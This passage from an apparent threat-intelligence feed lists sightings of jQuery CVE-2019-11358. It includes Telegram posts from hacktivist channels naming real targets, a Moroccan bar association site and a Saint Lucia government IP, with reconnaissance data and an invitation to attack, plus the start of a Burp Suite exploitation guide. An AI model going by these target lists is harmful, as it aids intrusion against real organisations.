\u062a\u0648\u0641\u064a\u0631 \u0645\u062f\u062e\u0644\u0627\u062a \u0644\u0648\u0638\u064a\u0641\u0629 \"HTML\" \u0644\u0625\u062f\u062e\u0627\u0644 Javascript \u0641\u064a \u0627\u0644\u0635\u0641\u062d\u0629 \u062d\u064a\u062b \u064a\u062a\u0645 \u0639\u0631\u0636 \u0647\u0630\u0627 \u0627\u0644\u0625\u062f\u062e\u0627\u0644 \u060c \u0648\u062a\u0633\u0644\u064a\u0645\u0647 \u0628\u0648\u0627\u0633\u0637\u0629 \u0627\u0644\u0645\u062a\u0635\u0641\u062d.\n\u2699\ufe0f \u062b\u063a\u0631\u0629 \u0639\u0645\u0631\u0647\u0627 \u062a\u0633\u0639 \u0633\u0646\u0648\u0627\u062a \u062a\u062d\u062a \u0627\u0633\u0645 CVE-2015-9251 \u064a\u0643\u0648\u0646 jQuery \u0642\u0628\u0644 \u0627\u0644\u0625\u0635\u062f\u0627\u0631 3.0.0 \u0639\u0631\u0636\u0629 \u0644\u0647\u062c\u0645\u0627\u062a \u0627\u0644\u0628\u0631\u0645\u062c\u0629 \u0627\u0644\u0646\u0635\u064a\u0629 \u0639\u0628\u0631 \u0627\u0644\u0645\u0648\u0627\u0642\u0639 (XSS) \u0639\u0646\u062f \u062a\u0646\u0641\u064a\u0630 \u0637\u0644\u0628 Ajax \u0639\u0628\u0631 \u0627\u0644\u0645\u062c\u0627\u0644 \u062f\u0648\u0646 \u062e\u064a\u0627\u0631 dataType\u060c \u0645\u0645\u0627 \u064a\u062a\u0633\u0628\u0628 \u0641\u064a \u062a\u0646\u0641\u064a\u0630 \u0627\u0633\u062a\u062c\u0627\u0628\u0627\u062a \u0646\u0635\u064a\u0629/\u062c\u0627\u0641\u0627 \u0633\u0643\u0631\u064a\u0628\u062a.\n\u2699\ufe0f \u062b\u063a\u0631\u0629 CVE-2019-11358 \u062a\u0633\u0645\u062d \u0627\u0644\u062b\u063a\u0631\u0629 \u0627\u0644\u0623\u0645\u0646\u064a\u0629 \u0641\u064a jQuery \u0644\u0644\u0645\u0647\u0627\u062c\u0645 \u0628\u062a\u0646\u0641\u064a\u0630 \u062a\u0639\u0644\u064a\u0645\u0627\u062a \u0628\u0631\u0645\u062c\u064a\u0629 \u0639\u0634\u0648\u0627\u0626\u064a\u0629 \u0641\u064a \u0645\u062a\u0635\u0641\u062d \u0627\u0644\u0645\u0633\u062a\u062e\u062f\u0645 \u0625\u0630\u0627 \u0643\u0627\u0646 \u0627\u0644\u0645\u0647\u0627\u062c\u0645 \u064a\u0645\u0643\u0646\u0647 \u0627\u0644\u062a\u062d\u0643\u0645 \u0641\u064a \u0628\u0631\u0646\u0627\u0645\u062c \u0645\u0639\u064a\u0646.\n\u2699\ufe0f \u062b\u063a\u0631\u0629 CVE-2021-23445 \u062a\u0645 \u0627\u0644\u0639\u062b\u0648\u0631 \u0639\u0644\u0649 \u062a\u062d\u064a\u064a\u062f \u063a\u064a\u0631 \u0635\u062d\u064a\u062d \u0644\u062b\u063a\u0631\u0629 \u0627\u0644\u0625\u062f\u062e\u0627\u0644 \u0641\u064a datatables.net. \u0642\u062f \u062a\u0624\u062f\u064a \u0625\u0644\u0649 \u0627\u0644\u0633\u0645\u0627\u062d \u0628\u0627\u0644\u0628\u0631\u0645\u062c\u0629 \u0627\u0644\u0639\u0627\u0628\u0631\u0629 \u0644\u0644\u0645\u0648\u0627\u0642\u0639 \u0623\u0648 \u0647\u062c\u0648\u0645 \u062d\u0642\u0646 \u0627\u0644\u0646\u0635\u0648\u0635 \u0627\u0644\u0628\u0631\u0645\u062d\u064a\u0629 \u0639\u0628\u0631 \u0645\u0648\u0642\u0639 \u0648\u0633\u064a\u0637 (XSS).\n\u2699\ufe0f \u062b\u063a\u0631\u0629 \u0623\u0645\u0646\u064a\u0629 \u0641\u064a \u062a\u0646\u0641\u064a\u0630 \u0627\u0644\u062a\u0639\u0644\u064a\u0645\u0627\u062a \u0627\u0644\u0628\u0631\u0645\u062c\u064a\u0629 \u0639\u0646 \u0628\u0639\u062f \u062a\u062d\u0645\u0644 \u0627\u0644\u0627\u0633\u0645 CVE-2023-42118\n\n\u0641\u064a \u0627\u0644\u0623\u062e\u064a\u0631 \u0630\u0643\u0631\u062a \u0645\u062c\u0645\u0648\u0639\u0629 One Piece \u0623\u0646 \u0625\u0647\u0627\u0646\u0629 \u0634\u0647\u062f\u0627\u0621 \u0627\u0644\u062c\u0632\u0627\u0626\u0631 \u0645\u0646 \u0627\u0644\u0628\u0639\u0636 \u0644\u064a\u0633\u062a \u0645\u0646 \u0639\u0644\u0627\u0645\u0627\u062a \u0627\u0644\u0631\u062c\u0648\u0644\u0629 \u0648\u0644\u0627 \u0645\u0646 \u0635\u0641\u0627\u062a \u0627\u0644\u0645\u0633\u0644\u0645\u064a\u0646 \u060c \u0644\u0623\u0646 \u0647\u0646\u0627\u0643 \u0647\u062f\u0641 \u0648\u0627\u062d\u062f \u0645\u0634\u062a\u0631\u0643 \u0648\u0647\u0648 \u0627\u0644\u0643\u064a\u0627\u0646 \u0627\u0644\u0635\u06c1\u064a\u0648\u0646\u064a \u0644\u0630\u0627 \u064a\u062c\u0628 \u0627\u0646\u062a\u0628\u0627\u0647 \u062c\u064a\u062f\u0627\u064b \u0644\u0644\u0647\u062f\u0641 \u0627\u0644\u0623\u0633\u0627\u0633\u064a.", "creation_timestamp": "2024-05-30T07:23:02.000000Z"}, {"uuid": "f7b9c2fc-d7a1-43e3-b2f0-b14050169115", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "https://t.me/KMPteam/1841", "content": "Vulnerable JS Library\n\nCVE-2020-11023 CVE-2020-11022 CVE-2015-9251 CVE-2019-11358\n\nVulnerable JS Library\n\nThe identified library jquery.datatables, version 1.10.25 is vulnerable.\n\nCVE-2021-23445\n\nIP Address\n41.77.117.238\nHostname\nyoussef7.genious.net\nDoH Support\nNo*\n\nA\n41.77.117.238\nAAAA\n41.77.117.238\nCNAME\nayoub.genious.net\nfouad.genious.net\nNS\nv=spf1 +a +mx +ip4:41.77.117.218 +ip4:41.77.117.238 +ip4:41.77.116.234 ~all\n\nExim <= 4.96.2 libspf2 RCE Vulnerability (Sep 2023)\n\nCVE-2023-42118.\n\n\u2699\ufe0fMarrakchi Bar Association:\nhttp://barreaumarrakech.ma\n\nWe do not want to do anything because Morocco is a brotherly country and a brotherly people. We just want to show that we can achieve anything.\nYour insults to the martyrs of Algeria are neither manly nor characteristic of Muslims .\nBecause there is one common goal, which is Israel, so pay close attention to the goal.", "creation_timestamp": "2024-05-29T20:13:05.000000Z"}, {"uuid": "454d2bee-3d1e-4808-9029-78a2a1198930", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "Telegram/LlEsM4be30ynoaw4HA8R-Wrld-oW3ZkaM4CMNblqLzsFc4U", "content": "", "creation_timestamp": "2024-11-24T20:19:52.000000Z"}, {"uuid": "e05c666d-681c-4441-bad3-592d8f09ed51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "Telegram/Ygy4ym2m1KO5YYUmOrHL_CIfgrZ0ECzCJieL0DX35USmm2M", "content": "", "creation_timestamp": "2024-11-24T20:19:52.000000Z"}, {"uuid": "4b7ea905-4395-4976-8d4d-413a6e848e69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "https://t.me/WARLOCK_DARK_ARMY_OFFICIALS/3964", "content": "https://162.0.155.35/        GOVERNMENT OF SAINT LUCIA    CVE-2015-9251, CVE-2019-11358, CVE-2020-11022, CVE-2020-11023    Go and give it a try", "creation_timestamp": "2024-03-09T10:54:18.000000Z"}, {"uuid": "30cdb30e-032d-4b76-a231-eef4274dd988", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "https://t.me/ctinow/186587", "content": "https://ift.tt/QvUPiyA\nCVE-2019-11358 Exploit", "creation_timestamp": "2024-02-16T19:21:32.000000Z"}, {"uuid": "e269e983-ebd9-4422-ba33-512f45404a57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "https://t.me/ctinow/168384", "content": "https://ift.tt/OKXF4Mu\nCVE-2019-11358 | Oracle Diagnostic Assistant 2.12.36 jQuery cross site scripting (BID-108023)", "creation_timestamp": "2024-01-15T14:41:17.000000Z"}, {"uuid": "c9e3cb86-4423-4fc9-b676-7b3b1be1bd48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "https://t.me/ctinow/168279", "content": "https://ift.tt/2Uc6x1W\nCVE-2019-11358 | Oracle Policy Automation for Mobile Devices up to 12.2.15 jQuery cross site scripting (BID-108023)", "creation_timestamp": "2024-01-15T11:06:35.000000Z"}, {"uuid": "a9a7349c-608b-48da-bc37-6a34a8ceb2fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "https://t.me/ctinow/168383", "content": "https://ift.tt/13WEzgD\nCVE-2019-11358 | Oracle Agile Product Lifecycle Management for Process 6.2.0.0/6.2.1.0/6.2.2.0/6.2.3.0 jQuery cross site scripting (BID-108023)", "creation_timestamp": "2024-01-15T14:41:16.000000Z"}, {"uuid": "d9306aa2-c5f3-4dac-ba19-f42c8cdf3ffd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "https://t.me/ctinow/168327", "content": "https://ift.tt/KrlYdZ9\nCVE-2019-11358 | Oracle Siebel Mobile Applications up to 19.8 jQuery cross site scripting (BID-108023)", "creation_timestamp": "2024-01-15T13:07:12.000000Z"}, {"uuid": "46c4db3d-b056-4e75-a483-1f7bfbfa82ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "https://t.me/ctinow/168278", "content": "https://ift.tt/ye6Wx45\nCVE-2019-11358 | Oracle Policy Automation Connector for Siebel 10.4.6 jQuery cross site scripting (BID-108023)", "creation_timestamp": "2024-01-15T11:06:33.000000Z"}, {"uuid": "9896b871-c8f8-493e-bfa9-1a7ef6589596", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "https://t.me/ctinow/168270", "content": "https://ift.tt/Jb2Fxy6\nCVE-2019-11358 | Oracle Policy Automation 10.4.7/12.1.0/12.1.1/12.2.15 jQuery cross site scripting (BID-108023)", "creation_timestamp": "2024-01-15T10:36:38.000000Z"}, {"uuid": "f252146b-c4ec-44a8-a078-adace4638d76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "https://t.me/ctinow/168297", "content": "https://ift.tt/hMGFCRV\nCVE-2019-11358 | Oracle Retail Customer Insights 15.0/16.0 jQuery cross site scripting (BID-108023)", "creation_timestamp": "2024-01-15T12:07:03.000000Z"}, {"uuid": "0d2a1a68-667a-4c9f-b387-98b198dc7752", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "https://t.me/ctinow/165002", "content": "https://ift.tt/3ImHVTW\nCVE-2019-11358 | Oracle Financial Services Retail Performance Analytics 8.0.6/8.0.7 jQuery cross site scripting (BID-108023)", "creation_timestamp": "2024-01-09T13:36:17.000000Z"}, {"uuid": "eebef1ed-49c3-4dbf-b2de-fa1194603338", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "https://t.me/ctinow/165119", "content": "https://ift.tt/kVRilEh\nCVE-2019-11358 | Oracle WebLogic Server 12.1.3.0.0/12.2.1.3.0 jQuery cross site scripting (BID-108023)", "creation_timestamp": "2024-01-09T16:41:28.000000Z"}, {"uuid": "a5e9e6bb-b348-4aad-89dc-4c9e5679fd6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "https://t.me/ctinow/165117", "content": "https://ift.tt/RrswikT\nCVE-2019-11358 | Oracle WebLogic Server 10.3.6.0.0/12.1.3.0.0/12.2.1.3.0 jQuery cross site scripting (BID-108023)", "creation_timestamp": "2024-01-09T16:41:26.000000Z"}, {"uuid": "29c8da5e-a5c8-40ce-8b34-ca8491b6a6cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "https://t.me/ctinow/165091", "content": "https://ift.tt/P6KTj7J\nCVE-2019-11358 | Oracle Service Bus 11.1.1.9.0/12.1.3.0.0/12.2.1.3.0 jQuery cross site scripting (BID-108023)", "creation_timestamp": "2024-01-09T16:11:32.000000Z"}, {"uuid": "635f3707-97cd-40c1-9531-43c2fe32214f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "https://t.me/ctinow/165090", "content": "https://ift.tt/OjCdyA2\nCVE-2019-11358 | Oracle JDeveloper/ADF 11.1.1.9.0/12.1.3.0.0/12.2.1.3.0 jQuery cross site scripting (BID-108023)", "creation_timestamp": "2024-01-09T16:11:31.000000Z"}, {"uuid": "2d003d7d-3164-4c6a-9c87-2fa463248a56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "https://t.me/ctinow/165237", "content": "https://ift.tt/LeCIKcj\nCVE-2019-11358 | Oracle Healthcare Translational Research 3.1.0/3.2.1/3.3.1 jQuery cross site scripting (BID-108023)", "creation_timestamp": "2024-01-09T19:16:11.000000Z"}, {"uuid": "f9fcc9df-ebf9-4d37-a10f-f8389fe25a70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "https://t.me/ctinow/164975", "content": "https://ift.tt/rPkz1RN\nCVE-2019-11358 | Oracle Application Testing Suite 13.2/13.3 jQuery cross site scripting (BID-108023)", "creation_timestamp": "2024-01-09T12:41:54.000000Z"}, {"uuid": "9f77d91a-d066-488d-aa7c-ad0fa4e2a741", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "https://t.me/ctinow/164974", "content": "https://ift.tt/CqawR16\nCVE-2019-11358 | Oracle Enterprise Manager Ops Center 12.3.3/12.4.0 jQuery cross site scripting (BID-108023)", "creation_timestamp": "2024-01-09T12:41:52.000000Z"}, {"uuid": "3c4861dc-97c9-49a9-aaea-da4f756d8df0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "https://t.me/ctinow/165023", "content": "https://ift.tt/NAGtHbY\nCVE-2019-11358 | Oracle Hospitality Materials Control 18.1 jQuery cross site scripting (BID-108023)", "creation_timestamp": "2024-01-09T14:46:35.000000Z"}, {"uuid": "ea9f2392-a6fb-41f0-aa85-23b76e0fa26a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "https://t.me/ctinow/165001", "content": "https://ift.tt/NX8HK4Q\nCVE-2019-11358 | Oracle Financial Services Enterprise Financial Performance Analytics jQuery information disclosure (BID-108023)", "creation_timestamp": "2024-01-09T13:36:16.000000Z"}, {"uuid": "2c23b304-894a-4889-8d02-ad2ad3fcdd4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "https://t.me/ctinow/164921", "content": "https://ift.tt/xlzfQTV\nCVE-2019-11358 | Oracle Primavera Unifier 16.1/16.2/17.12/18.8 jQuery cross site scripting (BID-108023)", "creation_timestamp": "2024-01-09T10:36:50.000000Z"}, {"uuid": "ba6e6b60-e289-4d8c-8aef-4d109d512d8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "https://t.me/ctinow/165210", "content": "https://ift.tt/rYhQl49\nCVE-2019-11358 | Oracle Healthcare Foundation 7.1.1/7.2.2 jQuery cross site scripting (BID-108023)", "creation_timestamp": "2024-01-09T18:46:53.000000Z"}, {"uuid": "a32aee68-584e-4929-a9b6-5697a2b410f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "Telegram/wG4dkP5u6oSjRvSjVz74xYl3C9gwqveW4G6MH8jZQJcQSgY", "content": "", "creation_timestamp": "2024-09-04T18:35:08.000000Z"}, {"uuid": "6545b33b-81c4-481f-988b-1ce078297622", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "Telegram/T5zPpS3Hy5ZcxNKNzVGskuX65YPSJtDdUNNX3vTEfdsyJwM", "content": "", "creation_timestamp": "2024-09-04T18:35:31.000000Z"}, {"uuid": "2045ae10-e9e4-43bd-a9a2-963dafd1dfa7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "Telegram/7xy8m8D7fgOGwoIR6HjmmP2At3jdJJYpZoVCZOBhctBhpw", "content": "", "creation_timestamp": "2024-11-22T19:21:06.000000Z"}, {"uuid": "f4d837b2-09cc-4d30-858d-2b737413e85e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "Telegram/xYiMmmFC_xzbKrugFW5u9eKhv-n8QIHkp8V4FgHF4lUk", "content": "", "creation_timestamp": "2024-09-20T10:23:34.000000Z"}, {"uuid": "8ccfcab3-7d80-4cec-9754-08de56891839", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "https://t.me/Albonyan_1/507", "content": "Vulnerabilities found for jquery ui 1.10.3\n\n\nClassification\n  EPSS score: 0.22087\n  EPSS percentile: 0.95597\n  CISA KEV: False\n  CVE: CVE-2021-41184, CVE-2021-41183, CVE-2021-41182, CVE-2022-31160, CVE-2016-7103\n  CVSS V3: 6.5\n  CWE: CWE-1035\n\n\nVulnerabilities found for jquery 1.9.1\n\n\nClassification\n  EPSS score: 0.32295\n  EPSS percentile: 0.96675\n  CISA KEV: False\n  CVE: CVE-2020-11023, CVE-2020-11022, CVE-2019-11358, CVE-2015-9251\n  CVSS V3: 6.9\n  CWE: CWE-1035", "creation_timestamp": "2026-08-21T05:00:03.320521Z"}, {"uuid": "7635527a-39f8-4a3a-afef-b2f028e81f3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "https://t.me/Albonyan_1/507", "content": "Vulnerabilities found for jquery ui 1.10.3\n\n\nClassification\n  EPSS score: 0.22087\n  EPSS percentile: 0.95597\n  CISA KEV: False\n  CVE: CVE-2021-41184, CVE-2021-41183, CVE-2021-41182, CVE-2022-31160, CVE-2016-7103\n  CVSS V3: 6.5\n  CWE: CWE-1035\n\n\nVulnerabilities found for jquery 1.9.1\n\n\nClassification\n  EPSS score: 0.32295\n  EPSS percentile: 0.96675\n  CISA KEV: False\n  CVE: CVE-2020-11023, CVE-2020-11022, CVE-2019-11358, CVE-2015-9251\n  CVSS V3: 6.9\n  CWE: CWE-1035", "creation_timestamp": "2026-08-22T00:00:29.462495Z"}, {"uuid": "ee171993-2b8a-4158-8650-054841c42811", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "Telegram/qTAdTleF4agCoSm3rsz2SiaNu4R7nXG0RS41uAEgerohBg", "content": "", "creation_timestamp": "2026-08-27T00:00:10.765198Z"}, {"uuid": "5507b987-e214-4709-9375-7a084e7591bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "Telegram/qTAdTleF4agCoSm3rsz2SiaNu4R7nXG0RS41uAEgerohBg", "content": "", "creation_timestamp": "2026-08-26T05:00:03.773763Z"}, {"uuid": "76eac0a6-51be-45d7-9ff6-23c6355d06c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-11358", "type": "seen", "source": "https://gist.github.com/bbrk364/5ac5cae2a5d4d9a5adab5a82ab304fce", "content": "\n\n# \ud83d\udd10 OWASP Top 10 Vulnerabilities: Complete Guide to Discovery, Exploitation & Reporting with Burp Suite\n\n---\n\n## Table of Contents\n\n1. [Introduction](#introduction)\n2. [Burp Suite Overview & Essential Plugins](#burp-suite-overview)\n3. [A01:2021 \u2013 Broken Access Control](#a01)\n4. [A02:2021 \u2013 Cryptographic Failures](#a02)\n5. [A03:2021 \u2013 Injection](#a03)\n6. [A04:2021 \u2013 Insecure Design](#a04)\n7. [A05:2021 \u2013 Security Misconfiguration](#a05)\n8. [A06:2021 \u2013 Vulnerable and Outdated Components](#a06)\n9. [A07:2021 \u2013 Identification and Authentication Failures](#a07)\n10. [A08:2021 \u2013 Software and Data Integrity Failures](#a08)\n11. [A09:2021 \u2013 Security Logging and Monitoring Failures](#a09)\n12. [A10:2021 \u2013 Server-Side Request Forgery (SSRF)](#a10)\n13. [Reporting Methodology](#reporting)\n14. [Conclusion](#conclusion)\n\n---\n\n\n## 1. Introduction\n\nThe **Open Web Application Security Project (OWASP)** Top 10 is the most widely recognized and authoritative document in the field of web application security. Updated periodically, the most recent version (2021) represents a broad consensus about the most critical security risks facing web applications today. For penetration testers, bug bounty hunters, and security engineers, understanding these vulnerabilities deeply \u2014 from theoretical underpinnings to practical exploitation and responsible reporting \u2014 is essential.\n\nThis comprehensive guide walks through each of the OWASP Top 10 vulnerabilities in exhaustive detail, explaining:\n\n- **What** the vulnerability is and why it matters\n- **Where** to find it in real-world applications\n- **How** it works technically\n- **How to exploit** it using **Burp Suite** and its extensive ecosystem of plugins (extensions)\n- **How to report** findings professionally and responsibly\n\n**Important Ethical Disclaimer:** The techniques described in this guide are intended for **authorized security testing only**. Always obtain explicit written permission before testing any application. Unauthorized testing is illegal and unethical. Use these skills responsibly in bug bounty programs, penetration tests with proper scope agreements, or on your own lab environments.\n\n---\n\n\n## 2. Burp Suite Overview & Essential Plugins\n\n### 2.1 What is Burp Suite?\n\nBurp Suite, developed by PortSwigger, is the industry-standard platform for web application security testing. It functions as an intercepting proxy that sits between the browser and the target application, allowing testers to inspect, modify, and replay HTTP/HTTPS traffic. Burp Suite comes in three editions:\n\n- **Community Edition** \u2013 Free, with limited features\n- **Professional Edition** \u2013 Full-featured, includes the automated scanner\n- **Enterprise Edition** \u2013 CI/CD integrated scanning\n\n### 2.2 Core Burp Suite Tools\n\n| Tool | Purpose |\n|------|---------|\n| **Proxy** | Intercepts and modifies HTTP/S requests and responses |\n| **Scanner** | Automated vulnerability scanning (Pro only) |\n| **Intruder** | Automated customized attacks (fuzzing, brute-forcing) |\n| **Repeater** | Manual request manipulation and replay |\n| **Sequencer** | Token randomness analysis |\n| **Decoder** | Data encoding/decoding/hashing |\n| **Comparer** | Visual diff of requests/responses |\n| **Logger** | Full HTTP traffic logging |\n| **Organizer** | Note-taking and finding management |\n\n### 2.3 Essential Burp Suite Plugins (BApp Store & Custom)\n\nThese extensions dramatically extend Burp's capabilities for OWASP Top 10 testing:\n\n| Plugin | Use Case |\n|--------|----------|\n| **Autorize** | Automated access control testing (IDOR, privilege escalation) |\n| **AuthMatrix** | Multi-role authorization testing matrix |\n| **Active Scan++** | Enhanced active scanning with additional checks |\n| **Param Miner** | Hidden parameter discovery |\n| **Backslash Powered Scanner** | Advanced injection detection |\n| **Software Vulnerability Scanner** | Identifies vulnerable components |\n| **JSON Web Token Attacker (JOSEPH)** | JWT manipulation and attack |\n| **JWT Editor** | JWT viewing and editing |\n| **Turbo Intruder** | High-speed, scriptable request sending |\n| **Logger++** | Advanced logging with filtering and grep |\n| **Hackvertor** | Tag-based encoding/decoding/conversion |\n| **Collaborator Everywhere** | Out-of-band interaction detection |\n| **HTTP Request Smuggler** | HTTP desync attack detection |\n| **InQL** | GraphQL introspection and attack |\n| **Upload Scanner** | File upload vulnerability testing |\n| **Retire.js** | Identifies vulnerable JavaScript libraries |\n| **CSP Auditor** | Content Security Policy analysis |\n| **CORS* (Additional Scanner Checks)** | CORS misconfiguration detection |\n| **Taborator** | Enhanced Collaborator client |\n| **IP Rotate** | AWS API Gateway IP rotation for rate limit bypass |\n\n### 2.4 Setting Up Your Testing Environment\n\n1. **Install Burp Suite Professional** and configure your browser to use `127.0.0.1:8080` as the proxy.\n2. **Install the Burp CA certificate** in your browser to intercept HTTPS traffic.\n3. **Navigate to the Extender tab** \u2192 BApp Store \u2192 Install the plugins listed above.\n4. **Configure scope** by adding target domains to the Target \u2192 Scope tab.\n5. **Enable \"Use Suite Scope\"** in Proxy \u2192 Options to filter traffic to only in-scope items.\n\n---\n\n\n## 3. A01:2021 \u2013 Broken Access Control\n\n### 3.1 What It Is\n\nBroken Access Control occurs when an application fails to properly enforce restrictions on what authenticated users are allowed to do. It is the **#1 most critical** vulnerability in the OWASP Top 10 (2021), having moved up from the fifth position in the 2017 edition. Access control enforces policy such that users cannot act outside of their intended permissions. When these controls fail, attackers can access unauthorized functionality and data \u2014 viewing other users' accounts, modifying other users' data, changing access rights, and more.\n\nCommon subtypes include:\n- **Insecure Direct Object References (IDOR):** Accessing resources by manipulating identifiers (e.g., changing `?user_id=123` to `?user_id=124`)\n- **Vertical Privilege Escalation:** A regular user accessing admin functionality\n- **Horizontal Privilege Escalation:** User A accessing User B's data\n- **Missing Function-Level Access Control:** Admin API endpoints accessible without admin roles\n- **Metadata Manipulation:** Tampering with JWT tokens, cookies, or hidden fields to elevate privileges\n- **CORS Misconfiguration:** Overly permissive cross-origin resource sharing allowing unauthorized access from malicious origins\n- **Force Browsing:** Accessing unauthenticated pages that should require authentication\n\n### 3.2 Where to Find It\n\n- **API endpoints** with numeric or predictable IDs (`/api/v1/users/1001/profile`)\n- **Admin panels** accessible by changing URL paths (`/admin`, `/dashboard/admin`)\n- **File download endpoints** (`/download?file=report_1001.pdf`)\n- **Account settings pages** where the user ID is sent as a parameter\n- **Multi-tenant applications** where tenant isolation can be bypassed\n- **GraphQL APIs** with unrestricted queries across different users' data\n- **REST APIs** that rely on client-side role checks\n\n### 3.3 How It Works\n\nThe root cause is the server's failure to validate whether the currently authenticated user has authorization to perform the requested action on the requested resource. The application trusts client-supplied input (like user IDs, role parameters, or path traversals) without server-side verification.\n\n**Example vulnerable flow:**\n```\nGET /api/orders/5001 HTTP/1.1\nHost: vulnerable-app.com\nCookie: session=abc123    \u2190 This session belongs to User A\n```\nIf the server returns order #5001 which belongs to User B without checking ownership, this is an IDOR vulnerability.\n\n### 3.4 How to Exploit with Burp Suite\n\n#### Step 1: Set Up Autorize\n\n1. Install **Autorize** from BApp Store.\n2. Log in to the application with **two accounts**: a 